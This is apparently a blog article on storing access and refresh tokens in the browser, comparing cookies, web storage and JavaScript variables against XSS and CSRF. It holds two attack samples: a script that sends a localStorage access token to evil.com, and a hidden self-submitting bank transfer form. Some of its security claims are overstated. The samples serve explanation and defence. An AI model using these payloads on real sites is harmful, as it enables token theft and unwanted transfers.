In the previous article, Why is Refresh Token Needed? Do You Know How to Store Refresh Token and Access Token Safely in the Browser? we learned why refresh tokens should be used. The question arises: if the access token is stolen, the chance of the refresh token "vanishing without a trace" is also very high. So what is the point of generating a refresh token when the opportunity to steal both is the same?
To find the answer, many debates have erupted, and there seems to be no end in sight because everyone has valid points. In the role of an audience member sitting in the stands of a stadium, observing the match to synthesize and present the most compelling insights. There is nothing absolute, and it depends on each person's perspective. Therefore, we hope you continue to contribute your opinions in the comments section to improve the article. Returning to this article, let's explore where to store access tokens and refresh tokens in the browser to provide the best security, or at least understand the issue to find a suitable storage location.
To find ways to prevent attacks, we first need to understand what attack forms exist targeting access tokens and refresh tokens.
Basically, there are two forms. One is "theft" outright. The other is exploitation to perform actions that the user does not want. Corresponding to these two forms are the attack techniques XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery). Oh, not to mention, there's a more dangerous form known as PAA (Physical Access Attack). This means the attacker directly uses the victim's machine to access and illegally copy user data. Therefore, never take your eyes off your device if it contains important data. However, since PAA is too straightforward, let's focus on the two attack forms XSS and CSRF.
XSS is a common form of attack. The attacker somehow injects a piece of JavaScript code into the server. The server distributes that code to the client. When the client receives and executes the code, the data will be stolen.
For example, a website has a comment feature. Anyone can comment, and others can view those comments. If the website has not prevented XSS, the attacker starts commenting with the content.
<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>
This comment is distributed to others. Immediately, this code is executed, stealing the access_token
and sending it to an address https://evil.com/steal
.
In contrast, CSRF does not directly steal; it only exploits to force the user to perform unwanted actions.
For example, you have logged into an online banking site bank.com
. Theoretically, the access token & refresh token (if any) have been stored in the browser and automatically sent for every subsequent access. The attacker tricks you into visiting their website, which contains malicious code that looks like this.
<form action="https://bank.com/transfer" method="POST" style="display: none;">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="666666">
<input type="submit">
</form>
<script>
document.forms[0].submit();
</script>
It is easy to see that this is a piece of code that runs automatically upon access. It sends a transfer request to https://bank.com/transfer
. If bank.com
does not handle CSRF well, the attacker has successfully completed a money transfer because clearly, the browser recognizes a request sent to https://bank.com
and immediately sends the valid access token.
CSRF can be prevented by setting SameSite=Strict
or SameSite=Lax
in cookies. However, not every website is suitable for these two modes. In other words, it is necessary to be cautious of potential hidden risks that are not easily noticeable.
Looking back in the browser, there are storage locations such as:
Therefore, let's analyze what happens if we store access tokens and refresh tokens in Cookies? If both are stored in Cookies, they will automatically be attached to every request to the server. This is unnecessary and somewhat redundant because not every request requires a refresh token. Additionally, storing both in Cookies carries a high risk of XSS and CSRF attacks. If the website is unfortunately attacked by XSS, the attacker can easily obtain the access token & refresh token.
Storing the access token or refresh token in SessionStorage, LocalStorage, IndexedDB, Web SQL... can prevent CSRF since requests do not automatically attach access tokens. However, there remains the concern of XSS. If a simple piece of JavaScript code is injected, the user data can vanish without a trace. It is evident that the crux of the issue is that attackers exploit JavaScript code to steal, so is there a place in the browser that JavaScript cannot access?
Fortunately, there is. In Cookies, there is a type of value called httpOnly
- where JavaScript cannot access. Suppose the website is attacked by XSS; the attacker still cannot obtain the access code. httpOnly
has all the characteristics of a normal cookie value. So does storing both in Cookies as httpOnly
make it safe? Hmm... Not necessarily. Because at this point, we return to the issue of being vulnerable to CSRF attacks.
At this point, readers can realize that storing the refresh token in Cookies as httpOnly
is immune to CSRF attacks. Because CSRF primarily targets the access token to gain user access, while the refresh token cannot do this. Furthermore, using the refresh token to request a new access token only occurs at a certain endpoint. Just set the Cookies to apply at that API, and you solve the problem of redundancy in each query. It is indeed a perfect choice. The issue now is to find a suitable location for the access token.
In practice, the access token only has the option of being stored in SessionStorage, LocalStorage, IndexedDB, Web SQL... to avoid CSRF attacks; the only remaining concern is XSS. Conversely, if stored in Cookies, the concern shifts back to CSRF. In summary, there is no solution that is absolutely safe. Perhaps at this point, we need to focus on preventing XSS and CSRF more than where to store them.
Additionally, there is still one place that has not been mentioned until now: in JavaScript variables. Storing the access token in a JavaScript variable does not guarantee safety against XSS but offers more benefits compared to SessionStorage, LocalStorage... mentioned above. The access token only exists during the lifecycle of the current page. When the user reloads the page or closes the website, the access token is also lost. The attacker can only steal it if they inject malicious code during the user's session and know exactly which variable contains the access token data.
There are two common forms of attacks targeting access tokens and refresh tokens: XSS and CSRF. While XSS exploits the injection of malicious JavaScript code to steal data, CSRF takes advantage of performing actions that the user does not want. To prevent XSS, the best approach is to store the refresh token in Cookies in httpOnly
state. The access token should be stored in a JavaScript variable to eliminate CSRF attacks and minimize concerns about XSS.
5 profound lessons
Every product comes with stories. The success of others is an inspiration for many to follow. 5 lessons learned have changed me forever. How about you? Click now!
Subscribe to receive new article notifications
Comments (4)